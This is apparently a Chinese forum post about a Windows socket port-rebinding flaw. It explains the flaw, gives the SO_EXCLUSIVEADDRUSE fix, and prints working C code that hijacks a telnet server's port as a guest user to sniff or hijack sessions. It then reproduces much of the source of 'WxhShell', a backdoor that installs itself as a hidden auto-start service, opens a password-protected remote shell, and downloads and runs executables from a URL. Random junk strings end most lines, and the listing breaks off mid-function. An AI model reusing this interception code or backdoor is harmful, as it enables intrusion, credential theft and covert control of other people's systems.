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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5%fWX'mS  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C8Mx>6  
>s"/uo  
  saddr.sin_family = AF_INET; fvi0gE@bd  
=GF=_Ac  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h:?qd  
);t+~YPS  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); y6[le*T  
]plp.f#av  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Tt{z_gU6  
qs bo"29  
  这意味着什么?意味着可以进行如下的攻击: R@tEC)Zn  
;A7JX:*?y=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 xypgG;`\  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) w <"mS*Q  
&$_!S!Sa/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +By'6?22  
<)(W7#Ks  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HKT, 5  
oS9Od8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~ @xPoD&  
.n YlYY'   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &V (6N%A^U  
vS0 ii  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !-3;Qj}V  
x`@`y7(  
  #include $)o0{HsL+  
  #include GQ@mQ=i  
  #include .RFH@''  
  #include    I{[Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2YW;=n  
  int main() y1PyH  
  { . o /uA  
  WORD wVersionRequested; HZ Wt>f  
  DWORD ret; ~ *"iLf@,  
  WSADATA wsaData; =QtFJ9\  
  BOOL val; `\\s%}vZ*T  
  SOCKADDR_IN saddr; Q{950$ )L  
  SOCKADDR_IN scaddr; gSw <C+  
  int err; zixG}'  
  SOCKET s; y'4Qt.1ukN  
  SOCKET sc; Q/0gd? U?  
  int caddsize; 9oO~UP!ag  
  HANDLE mt; 1kL8EPT%o  
  DWORD tid;   \'Et)uD*  
  wVersionRequested = MAKEWORD( 2, 2 ); 7/QK"0  
  err = WSAStartup( wVersionRequested, &wsaData ); (Y7zaAG]  
  if ( err != 0 ) { >jIn&s!}  
  printf("error!WSAStartup failed!\n"); _&S#;ni\c  
  return -1; FibZT1-k  
  } {9V.l.Q  
  saddr.sin_family = AF_INET; O]@#53)Tz  
   _]4 p51r0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pl1CPxSdO  
>J S^yVk  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >&S}u\/  
  saddr.sin_port = htons(23); <YU4RZ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YkB@fTTS  
  { _Q I!UQdW  
  printf("error!socket failed!\n"); *. |%uf.  
  return -1; EUcD[Rv  
  } BPt? 3tC  
  val = TRUE; wDW%v@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *w*>\ZhOm  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -XCs?@8EQ  
  { [yQ%g;m  
  printf("error!setsockopt failed!\n"); 9.M'FCd~M  
  return -1; R3|4|JlGR  
  } .|R4E  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; N\|z{vn  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bK~Toz< k  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *OFG3uM  
&U|c=$!\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) B^P&+,\[}  
  { &*+$38XE^  
  ret=GetLastError(); 0`c{9gY.  
  printf("error!bind failed!\n"); 2y^:T'p  
  return -1; -2J37   
  } sV%DX5@  
  listen(s,2); -#;xfJE  
  while(1) C2v_] ,]  
  { !.mR]El{K  
  caddsize = sizeof(scaddr); 4l %W]'  
  //接受连接请求 V27RK-.N!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); S}%z0g<  
  if(sc!=INVALID_SOCKET) +c<iVc|  
  { +@3+WD  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %wOkp`1-  
  if(mt==NULL) HFy9b|pjy  
  { Z)E)-2U$@  
  printf("Thread Creat Failed!\n"); ,jis@]:  
  break; =cjO]  
  } ]Rxo}A  
  } vFR *3$ R  
  CloseHandle(mt); 9N9&y^SmD  
  } fuUtM_11  
  closesocket(s); IV. })8  
  WSACleanup(); #c@&mus  
  return 0; 9_:"`)] 3B  
  }   r@zT!.sc!  
  DWORD WINAPI ClientThread(LPVOID lpParam) #vV]nI<MF.  
  { ? F #&F  
  SOCKET ss = (SOCKET)lpParam; l|gi2~ %Y  
  SOCKET sc; >;c);|'}q  
  unsigned char buf[4096]; o$.#A]Flb  
  SOCKADDR_IN saddr; H"AL@=  
  long num; ")uKDq  
  DWORD val; [ZSC]w^  
  DWORD ret; $]E+E.P  
  //如果是隐藏端口应用的话,可以在此处加一些判断 g[pU5%|"[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~KS@Ulrox  
  saddr.sin_family = AF_INET; Zhfg  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); fIQ, }>  
  saddr.sin_port = htons(23); 66eJp-5e8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .@OQ$ D<  
  { Pa3-0dUr  
  printf("error!socket failed!\n"); \Yr*x7!  
  return -1;  J3 Q_  
  } B0Wf$ s^7t  
  val = 100; v~L\[&|_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FJ~d&L\l  
  { lF}@@e)N  
  ret = GetLastError(); @L!^2v  
  return -1; gp`@dn';  
  } ;(`bP  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xE<H@@w  
  { o( zez  
  ret = GetLastError(); {\1bWr8!U  
  return -1; hTn"/|_SW  
  } e*}zl>f  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) uKk#V6t#  
  { N { oVz],  
  printf("error!socket connect failed!\n"); F:ycV~bE  
  closesocket(sc); ?(=|!`IoO  
  closesocket(ss); (?1$  
  return -1; KZ7B2  
  } R'c dEoy  
  while(1) AEyD?^?  
  { iiq `:G  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :wIA.1bK}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 tz;o6,eb  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *Sj) 9mp  
  num = recv(ss,buf,4096,0); u$%C`v>  
  if(num>0) /C!~v!;e  
  send(sc,buf,num,0); kb2C 9<  
  else if(num==0) 6P _+:Mf  
  break; :P_h_Tizv  
  num = recv(sc,buf,4096,0); 8+oc4~!A@n  
  if(num>0) X^eyrqv  
  send(ss,buf,num,0); _r3Y$^!U  
  else if(num==0) 2v ~8fr4  
  break; ,nteIR'??  
  } x/<]/D  
  closesocket(ss); /r~2KZE  
  closesocket(sc); 4%r?(C0x  
  return 0 ; vm+3!s:u  
  } Z. gb'  
EWDsBNZaI  
Vp]7n!g4l  
========================================================== | 9S8sfw  
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下边附上一个代码,,WXhSHELL cwzkA,e@  
g.9C>>tj  
========================================================== _ $>);qIP4  
u/j\pDl.  
#include "stdafx.h" ]}g\te  
+j<WP  
#include <stdio.h> uZn_*_J!  
#include <string.h> X2A k  
#include <windows.h> #VX]trh,  
#include <winsock2.h> wd*B3  
#include <winsvc.h> ck] I?  
#include <urlmon.h> C%yH}T\s  
As)?~dV  
#pragma comment (lib, "Ws2_32.lib") ,byc!P  
#pragma comment (lib, "urlmon.lib") 75Z|meG~  
AJi+JO-  
#define MAX_USER   100 // 最大客户端连接数 np^&cY]  
#define BUF_SOCK   200 // sock buffer +&G(AW  
#define KEY_BUFF   255 // 输入 buffer |"LHo  H  
; j.d  
#define REBOOT     0   // 重启 n}Z%D-b$  
#define SHUTDOWN   1   // 关机 [ft6xI  
n^[a}DX0  
#define DEF_PORT   5000 // 监听端口 a%`Yz"<lQ  
^x O](,H  
#define REG_LEN     16   // 注册表键长度 ^ou)c/68aQ  
#define SVC_LEN     80   // NT服务名长度 _@B?  
_\+]/rY9o  
// 从dll定义API 4Px|:7~wT8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]}/Rl}_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ASy?^Jrs5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `e'wW V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FA,n>  
o$L%t@   
// wxhshell配置信息 F*U(Wl=  
struct WSCFG { JR `$t~0t  
  int ws_port;         // 监听端口 xwD`R *  
  char ws_passstr[REG_LEN]; // 口令 >|%3j,<U  
  int ws_autoins;       // 安装标记, 1=yes 0=no  Q(w;  
  char ws_regname[REG_LEN]; // 注册表键名 pl r@  
  char ws_svcname[REG_LEN]; // 服务名 Y }VJ4!%U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }'wZ)N@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Lm}.+.O~d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O)&W0` VY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no AAa7)^R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ddN(L`nd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eoww N>-2C  
Tfh2>  
}; 7#j.y f4  
7 w,D2T  
// default Wxhshell configuration k ?KJ8  
struct WSCFG wscfg={DEF_PORT, bh5D}w  
    "xuhuanlingzhe", =|AYT6z,  
    1, >+7{PF+sB  
    "Wxhshell", k#pO+[ x  
    "Wxhshell", Mu/(Xp62  
            "WxhShell Service", #:BkDidt2v  
    "Wrsky Windows CmdShell Service", *yT>  
    "Please Input Your Password: ", >6Uc|D  
  1, .:&`PaMt  
  "http://www.wrsky.com/wxhshell.exe", J(}PvkA  
  "Wxhshell.exe" \VhG'd3k  
    }; '/qy_7O  
*CXc{{  
// 消息定义模块 ^dLu#,;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MkMDI)Y|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y910\h@V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yH" i5L9  
char *msg_ws_ext="\n\rExit."; DQK?y=vf  
char *msg_ws_end="\n\rQuit."; [(Z(8{3i  
char *msg_ws_boot="\n\rReboot..."; tx d0S!  
char *msg_ws_poff="\n\rShutdown..."; O#;sY`fy_M  
char *msg_ws_down="\n\rSave to "; Y)/|C7~W  
9Zd\6F,  
char *msg_ws_err="\n\rErr!"; B0|W  
char *msg_ws_ok="\n\rOK!"; A"pQOtrm\k  
\;MP|:{pU  
char ExeFile[MAX_PATH]; [ S  
int nUser = 0; py\:u5QS  
HANDLE handles[MAX_USER]; g(i6Uj~)  
int OsIsNt; g|uyQhsg  
^X{U7?x  
SERVICE_STATUS       serviceStatus; =$4I}2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f@YdL6&d-  
iwM xTty  
// 函数声明 +0U=UV)U  
int Install(void); s1wlOy  
int Uninstall(void); mOj; 0 R  
int DownloadFile(char *sURL, SOCKET wsh); tgG 8pL  
int Boot(int flag); BNJ0D  
void HideProc(void); 8GW+:  
int GetOsVer(void); ORrZu$n`p  
int Wxhshell(SOCKET wsl); yq|yGf(4&  
void TalkWithClient(void *cs); $=diG  
int CmdShell(SOCKET sock); "9'3mmZm=?  
int StartFromService(void); N{bg-%s10i  
int StartWxhshell(LPSTR lpCmdLine); db,?b>,EE  
8<}=f4vUj5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AJ6l#j-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (" :Dz_  
`w#VYs|k  
// 数据结构和表定义 TO89;O  
SERVICE_TABLE_ENTRY DispatchTable[] = \{ | GK  
{ (U# ,;  
{wscfg.ws_svcname, NTServiceMain}, fx+_;y  
{NULL, NULL} AP%R*0]  
}; +&)/dHbL`]  
#z>I =gl  
// 自我安装 ?&9=f\/P  
int Install(void) Pa0W|q#?X  
{ k%gj  
  char svExeFile[MAX_PATH]; TaSS) n  
  HKEY key; c&wg`1{Hal  
  strcpy(svExeFile,ExeFile); py7Zh%k  
w( SY  
// 如果是win9x系统,修改注册表设为自启动 ,gZp/yJ;  
if(!OsIsNt) { ZqrS]i@$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,gNZHKNq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u-&V, *3l  
  RegCloseKey(key); @"NP`#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xltN-<n7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^_3Ey  
  RegCloseKey(key); v`QDms,{  
  return 0; x[};x;[ZE  
    } Qq.$! $  
  } bP-(N14x+  
} b-8@_@f|g  
else { 0J/yd  
V0 {#q/q  
// 如果是NT以上系统,安装为系统服务 D+;4|7s+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UfPB-EFl$D  
if (schSCManager!=0) 7/a7p(   
{ 0qNmao4E_  
  SC_HANDLE schService = CreateService wxcJ2T dH  
  ( J'|[-D-a  
  schSCManager, ]Xa]a}[uE  
  wscfg.ws_svcname, LE{@J0r#n  
  wscfg.ws_svcdisp, Uv[a ~'  
  SERVICE_ALL_ACCESS, ($`IHKF1.l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $+J39%Y!^  
  SERVICE_AUTO_START, /9kxDbj  
  SERVICE_ERROR_NORMAL, XdThl  
  svExeFile, 7.VP7;jys  
  NULL, ]tu OWR  
  NULL, VRY(@# q  
  NULL, \y?*} L  
  NULL, 'Up75eT  
  NULL IY6Ll6OK  
  ); O,),0zcYF  
  if (schService!=0) &Qda|  
  { N LpKh1g  
  CloseServiceHandle(schService); l=9D!6 4  
  CloseServiceHandle(schSCManager); tH;9"z# ~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <2@t ~ 9  
  strcat(svExeFile,wscfg.ws_svcname); 6R^F^<<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l-W)? d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :I7qw0?  
  RegCloseKey(key); Hk+44   
  return 0; ^k % +ao  
    } Ht+roY  
  } <w}i  
  CloseServiceHandle(schSCManager); lwt,w<E$  
} I`XOvSO  
} -"ZNkC =  
V^FM-bg%9  
return 1; 6{i0i9Tb  
} u,iiS4'Ze  
!-T#dU  
// 自我卸载 037\LPO  
int Uninstall(void) s1]Pv/a=y  
{ Q (N'Oj:J  
  HKEY key; s[{8:Px  
XOqHzft h6  
if(!OsIsNt) {  dEXhn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qU6!vgM&  
  RegDeleteValue(key,wscfg.ws_regname); n1|]ji[c  
  RegCloseKey(key); +7OE,RoQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W:n\,P  
  RegDeleteValue(key,wscfg.ws_regname); 4J,6cOuW4  
  RegCloseKey(key); Mfz(%F|<  
  return 0; mQ}\ptdfV  
  } o/,%rA4  
} zx "EAF{  
} Bi fI.2|  
else { ]b}3f<  
qDswFs(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "K>!+<  
if (schSCManager!=0) E l.eK9L  
{ dk]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (:~_#BA  
  if (schService!=0) N%:uOX8{  
  { H h](n<Bs  
  if(DeleteService(schService)!=0) { 6 T~+vT  
  CloseServiceHandle(schService); Kg2@]J9m  
  CloseServiceHandle(schSCManager); (AA@ sN  
  return 0; xF) .S@  
  } .Sw4{m[g  
  CloseServiceHandle(schService); 5C*Zb3VG4  
  } p({|=+bl  
  CloseServiceHandle(schSCManager); !#]kzS0  
} EX<1hAw  
} o>]w76A^(  
Jt8M;Yk  
return 1; P >0S ZP  
} Brg0:5H   
]lJ#|zd8o  
// 从指定url下载文件 >oy%qLHe~t  
int DownloadFile(char *sURL, SOCKET wsh) )rA\+XT7  
{ Gg6cjc=dC  
  HRESULT hr; $+e(k~  
char seps[]= "/"; {3vm]  
char *token; Rbm+V{EF&  
char *file; ' )F@em  
char myURL[MAX_PATH]; lKI]q<2  
char myFILE[MAX_PATH]; ,trh)ZZYW|  
\iEJ9V  
strcpy(myURL,sURL); ZKI` ;  
  token=strtok(myURL,seps); Ca"i<[8  
  while(token!=NULL) !Y^$rF-+  
  { S#+ _HFUK{  
    file=token; .*EP$pc  
  token=strtok(NULL,seps); (#je0ES  
  } Q4ii25]*  
IP !zg|c,  
GetCurrentDirectory(MAX_PATH,myFILE); IMSm  
strcat(myFILE, "\\"); QKz2ONV=)  
strcat(myFILE, file); Q(8W5Fb?  
  send(wsh,myFILE,strlen(myFILE),0); z5:3.+M5  
send(wsh,"...",3,0); 6x;"T+BSSS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?1]B(V9nBq  
  if(hr==S_OK) ,aWfGh#$  
return 0; ?aG~E  
else d9D*w/clMi  
return 1; #2.C$  
`~=Is.V[  
} ^kB9 I8u  
0Z%<H\Z  
// 系统电源模块 S!}pL8OE  
int Boot(int flag) T?__  
{ ~;I{d7z,;  
  HANDLE hToken; Yic'p0< ?V  
  TOKEN_PRIVILEGES tkp; -IV-"-6(  
AQ.q?'vE)  
  if(OsIsNt) { 0XIrEwm@%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gAi}"} ;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r:^`005  
    tkp.PrivilegeCount = 1; DUm/0q&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QQ,w:OjA0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A@k=Mk  
if(flag==REBOOT) { >W8PLo+i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~>$(5 s2  
  return 0; 10/3-)+  
} !q PUQ+  
else { J _|>rfW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~0.@1zEXj  
  return 0; YX2j;Y?  
} pk=z<OTb  
  } M[T!AO-S$  
  else { p:U{3uN 62  
if(flag==REBOOT) { \}qv}hU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]@1ncn7N  
  return 0; RzSN,bL R  
} p7O4CP>9[  
else { p/s5[>N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }S&SL)  
  return 0; X_|} b[b  
} %^ E>~  
} `[1]wV5(5@  
[ 06B)|s  
return 1; r?2C%GI`  
} a-DE-V Uls  
:Ws3+OI'm3  
// win9x进程隐藏模块 Nb{oH+$b  
void HideProc(void) qm}7w3I^  
{ 55|$Imnf  
C{S6Ri  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ln!KL'T]  
  if ( hKernel != NULL ) }mJ)gK5b 6  
  { B "}GAk}V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I`KN8ll  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tbk9N( R  
    FreeLibrary(hKernel); 8@Km@o]?  
  } J5rR?[i{  
WCWBvw4&"{  
return; _H3cqD  
} r*3XM{bZ/@  
'XQv>J  
// 获取操作系统版本 A><%"9pZ  
int GetOsVer(void) +Q_Gm3^  
{  L_Ai/'  
  OSVERSIONINFO winfo; Ri-wbYFaP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $S cjEG:6  
  GetVersionEx(&winfo); )I}G:bBa  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j+ys&pDczm  
  return 1; n2O7n @8  
  else C,z]q$4  
  return 0; wLUmRo56aR  
} >zhbipA  
 3i$AR  
// 客户端句柄模块 rC*nZ*  
int Wxhshell(SOCKET wsl) (c*Dvpo1  
{ YvHn~gNPhs  
  SOCKET wsh; )*JTxMQ  
  struct sockaddr_in client; ;~q)^.K3  
  DWORD myID; ?x/ L"h&Kp  
]ogy`O>  
  while(nUser<MAX_USER) F^~#D, \  
{ E|Lh$9XONA  
  int nSize=sizeof(client); ^ pR&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a:]yFi:Su  
  if(wsh==INVALID_SOCKET) return 1; Zj<T#4?8  
Q\z*q,^R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |Z/ySAFM  
if(handles[nUser]==0)  JuI,wA  
  closesocket(wsh); ?8nG F%p  
else Zj^H3 h  
  nUser++; @<sP1`1  
  } Z,&ywMm/G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5LK>n-  
~5#7i_%@E}  
  return 0; gddGl=rm  
} Y{'G2)e  
Stw6%T-  
// 关闭 socket y|mR'{$I  
void CloseIt(SOCKET wsh) Q& \k"X1  
{ \ a<Ye T  
closesocket(wsh); 1wM p3  
nUser--; 1|89-Ii]  
ExitThread(0); 5~? J  
} xMh&C{q  
cS[`1y,\3  
// 客户端请求句柄 0nuFWV  
void TalkWithClient(void *cs) A,/S/_Q=  
{ P$QfcJq&c*  
']NM_0  
  SOCKET wsh=(SOCKET)cs; O#|E7;  
  char pwd[SVC_LEN]; &pAT  
  char cmd[KEY_BUFF]; pQhv3F  
char chr[1]; w {q YP  
int i,j; Vqr&)i"b$  
eyWwE%  
  while (nUser < MAX_USER) { DQ}]'*@?  
] 7O?c=  
if(wscfg.ws_passstr) { -|kDa1knA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YD%Kd&es  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sig_2;  
  //ZeroMemory(pwd,KEY_BUFF); 3N21[i2/m  
      i=0; ;vx9xs?6  
  while(i<SVC_LEN) { HTG;'$H^  
/P%:u0fX,  
  // 设置超时 dd+).*  
  fd_set FdRead; xVP GlU  
  struct timeval TimeOut; I|:j~EY  
  FD_ZERO(&FdRead); aU!UY(  
  FD_SET(wsh,&FdRead); @mazwr{B  
  TimeOut.tv_sec=8; re*/JkDq3K  
  TimeOut.tv_usec=0; V]2z5u_q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kShniN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ublY!Af  
gs3}rW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A.FI] K@  
  pwd=chr[0]; o5R\7}]GE  
  if(chr[0]==0xd || chr[0]==0xa) { 6M9rC[h\  
  pwd=0; H6eGLg={  
  break; #Grm-W9E  
  }  ]gW J,  
  i++; $9~1s/('  
    } @:@rks&  
`4qKQJw  
  // 如果是非法用户,关闭 socket yiq#p "Hs  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >A/=eW/q  
} (r4\dp&  
d w|0K+-PH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^b~5zhY&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JNz0!wi  
 df'g},_  
while(1) { L9@jmh*E  
6>I.*Qt \l  
  ZeroMemory(cmd,KEY_BUFF); :Mk}Suf&H  
[1U_c*;i  
      // 自动支持客户端 telnet标准   DvCt^O*  
  j=0; /WfxI>v  
  while(j<KEY_BUFF) { I'C ,'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ln|${c  
  cmd[j]=chr[0]; 1^3#3duV  
  if(chr[0]==0xa || chr[0]==0xd) { Q/9b'^UJ  
  cmd[j]=0; i.]zq  
  break; 'Ot[q^,KRG  
  } l?o- p  
  j++; 4o3GS8  
    } `N|CL  
`^kST><  
  // 下载文件 ?r<F\rBT7*  
  if(strstr(cmd,"http://")) { (% P=#vZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ev16xL8B  
  if(DownloadFile(cmd,wsh)) wrU[#g,uvr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -wfV  
  else }TW=eu~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !*gAGt_  
  } jxaoQeac  
  else { v2{s2kB=  
|Y11sDa9h  
    switch(cmd[0]) { ]r6bJ 2  
  Bl];^W^P  
  // 帮助 6pR#z@,  
  case '?': { $@)d9u cd  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HV.7IyBA^  
    break; X;:xGZ-oY  
  } +kL(lBv'  
  // 安装 dk/*%a +  
  case 'i': { N}G(pq}  
    if(Install()) }o- P   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8B/9{8  
    else  /GUuu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w)n]}k  
    break; z%tu6_4j  
    } 'wrpW#  
  // 卸载 tqCg<NH.!m  
  case 'r': { [@Y q^.6t  
    if(Uninstall()) C6~dN& q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bobkT|s^s  
    else I:<R@V<~#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m=B0!Z1xx  
    break; !++62Lf  
    } 8zWPb  
  // 显示 wxhshell 所在路径 [Gy'0P(EQ  
  case 'p': { V?BVk8D};  
    char svExeFile[MAX_PATH]; 5FI>T=QF  
    strcpy(svExeFile,"\n\r"); iGLYM-  
      strcat(svExeFile,ExeFile); -d'|X`^nE  
        send(wsh,svExeFile,strlen(svExeFile),0); GN c|)$  
    break; ,0]28 D  
    } nn4Sy,cz  
  // 重启 FaE orQ  
  case 'b': { g"S+V#R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d A{Jk  
    if(Boot(REBOOT)) |"w<CK lQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gq3OCA!cX  
    else { GuvF   
    closesocket(wsh); |LE++t*X~  
    ExitThread(0); GQq'~Lr5  
    }  LB7I`W  
    break; uTGvXKL7  
    } MPN=K|*  
  // 关机 ^\jX5)2{  
  case 'd': { W%K8HAP"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `|Z@UPHzG  
    if(Boot(SHUTDOWN)) '/g+;^_cB  
